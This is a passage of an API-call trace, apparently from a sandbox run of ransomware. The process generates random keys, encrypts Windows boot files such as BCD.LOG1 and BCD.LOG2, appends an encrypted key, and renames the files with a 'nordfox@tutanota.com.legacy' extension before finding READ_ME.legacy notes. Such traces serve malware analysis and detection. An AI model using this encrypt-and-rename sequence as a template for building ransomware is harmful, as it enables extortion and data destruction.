Size=0x100) returned 0x556408 [0082.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0082.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x556408 | out: pbBuffer=0x556408) returned 1 [0082.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0c0 | out: pbBuffer=0x54d0c0) returned 1 [0082.482] SetFileAttributesW (lpFileName="\\Boot\\bootspaces.dll", dwFileAttributes=0x80) returned 0 [0082.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0082.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0082.537] CreateFileW (lpFileName="\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55aad0 | out: hHeap=0x520000) returned 1 [0082.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563988 [0082.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x564498 [0082.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0082.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x564498 | out: pbBuffer=0x564498) returned 1 [0082.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d130 | out: pbBuffer=0x54d130) returned 1 [0082.537] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5678a8 [0082.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0082.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678a8 | out: hHeap=0x520000) returned 1 [0082.538] CreateFileW (lpFileName="\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.538] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d190 [0082.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d0d0 [0082.538] ReadFile (in: hFile=0x458, lpBuffer=0x54d190, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0082.538] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.538] WriteFile (in: hFile=0x458, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0082.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0082.538] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0082.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x564498*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x564498*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.539] WriteFile (in: hFile=0x458, lpBuffer=0x564498*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.540] WriteFile (in: hFile=0x458, lpBuffer=0x54d130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d130*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.540] CloseHandle (hObject=0x458) returned 1 [0082.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564498 | out: hHeap=0x520000) returned 1 [0082.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0082.549] MoveFileExW (lpExistingFileName="\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="\\Boot\\BCD.LOG2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\boot\\bcd.log2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0082.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563988 | out: hHeap=0x520000) returned 1 [0082.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0082.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563988 [0082.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x564498 [0082.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x564498 | out: pbBuffer=0x564498) returned 1 [0082.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0082.551] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 1 [0082.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0082.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0082.551] CreateFileW (lpFileName="\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.552] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0082.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d110 [0082.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x54d190 [0082.552] ReadFile (in: hFile=0x458, lpBuffer=0x54d110, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0082.552] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0082.552] WriteFile (in: hFile=0x458, lpBuffer=0x54d190*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0082.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0082.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.552] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0082.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0082.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x564498*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x564498*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0082.553] WriteFile (in: hFile=0x458, lpBuffer=0x564498*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0082.554] WriteFile (in: hFile=0x458, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0082.554] CloseHandle (hObject=0x458) returned 1 [0082.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564498 | out: hHeap=0x520000) returned 1 [0082.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.560] MoveFileExW (lpExistingFileName="\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="\\Boot\\BCD.LOG1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\boot\\bcd.log1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0082.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563988 | out: hHeap=0x520000) returned 1 [0082.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0082.562] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x564498 [0082.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d150 [0082.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x564498 | out: pbBuffer=0x564498) returned 1 [0082.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d150 | out: pbBuffer=0x54d150) returned 1 [0082.563] SetFileAttributesW (lpFileName="\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1 [0082.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0082.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.563] CreateFileW (lpFileName="\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0082.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0082.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0082.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0082.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5645a0 [0082.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5645a0 | out: pbBuffer=0x5645a0) returned 1 [0082.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d190 | out: pbBuffer=0x54d190) returned 1 [0082.564] SetFileAttributesW (lpFileName="\\Boot\\BCD", dwFileAttributes=0x80) returned 1 [0082.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0082.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.565] CreateFileW (lpFileName="\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0082.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0082.566] FindFirstFileW (in: lpFileName="\\Documents and Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b80 | out: hHeap=0x520000) returned 1 [0082.566] FindFirstFileW (in: lpFileName="\\ESD\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552fe0 [0082.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.567] GetLastError () returned 0x5 [0082.567] SetLastError (dwErrCode=0x5) [0082.567] GetLastError () returned 0x5 [0082.567] SetLastError (dwErrCode=0x5) [0082.567] GetLastError () returned 0x5 [0082.567] SetLastError (dwErrCode=0x5) [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0082.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553020 [0082.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553020 | out: hHeap=0x520000) returned 1 [0082.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0082.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0082.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0082.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.568] FindNextFileW (in: hFindFile=0x552fe0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0082.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.568] GetLastError () returned 0x5 [0082.568] SetLastError (dwErrCode=0x5) [0082.568] GetLastError () returned 0x5 [0082.568] SetLastError (dwErrCode=0x5) [0082.568] GetLastError () returned 0x5 [0082.568] SetLastError (dwErrCode=0x5) [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0082.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552f20 [0082.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552f20 | out: hHeap=0x520000) returned 1 [0082.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0082.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0082.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0082.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.569] FindNextFileW (in: hFindFile=0x552fe0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83f2d1f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0082.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.569] GetLastError () returned 0x5 [0082.569] SetLastError (dwErrCode=0x5) [0082.569] GetLastError () returned 0x5 [0082.569] SetLastError (dwErrCode=0x5) [0082.569] GetLastError () returned 0x5 [0082.569] SetLastError (dwErrCode=0x5) [0082.569] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.569] FindNextFileW (in: hFindFile=0x552fe0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83f2d1f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83f2d1f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0082.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0082.569] FindFirstFileW (in: lpFileName="\\Logs\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb843b407, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552b60 [0082.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.570] GetLastError () returned 0x12 [0082.570] SetLastError (dwErrCode=0x12) [0082.570] GetLastError () returned 0x12 [0082.570] SetLastError (dwErrCode=0x12) [0082.570] GetLastError () returned 0x12 [0082.570] SetLastError (dwErrCode=0x12) [0082.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0082.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0082.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552c60 [0082.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552c60 | out: hHeap=0x520000) returned 1 [0082.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0082.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0082.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.571] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb843b407, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0082.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.579] GetLastError () returned 0x12 [0082.579] SetLastError (dwErrCode=0x12) [0082.579] GetLastError () returned 0x12 [0082.579] SetLastError (dwErrCode=0x12) [0082.579] GetLastError () returned 0x12 [0082.579] SetLastError (dwErrCode=0x12) [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0082.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553020 [0082.579] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553020 | out: hHeap=0x520000) returned 1 [0082.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.580] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.580] GetLastError () returned 0x12 [0082.580] SetLastError (dwErrCode=0x12) [0082.580] GetLastError () returned 0x12 [0082.580] SetLastError (dwErrCode=0x12) [0082.580] GetLastError () returned 0x12 [0082.580] SetLastError (dwErrCode=0x12) [0082.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672d8 | out: hHeap=0x520000) returned 1 [0082.580] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0082.580] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, 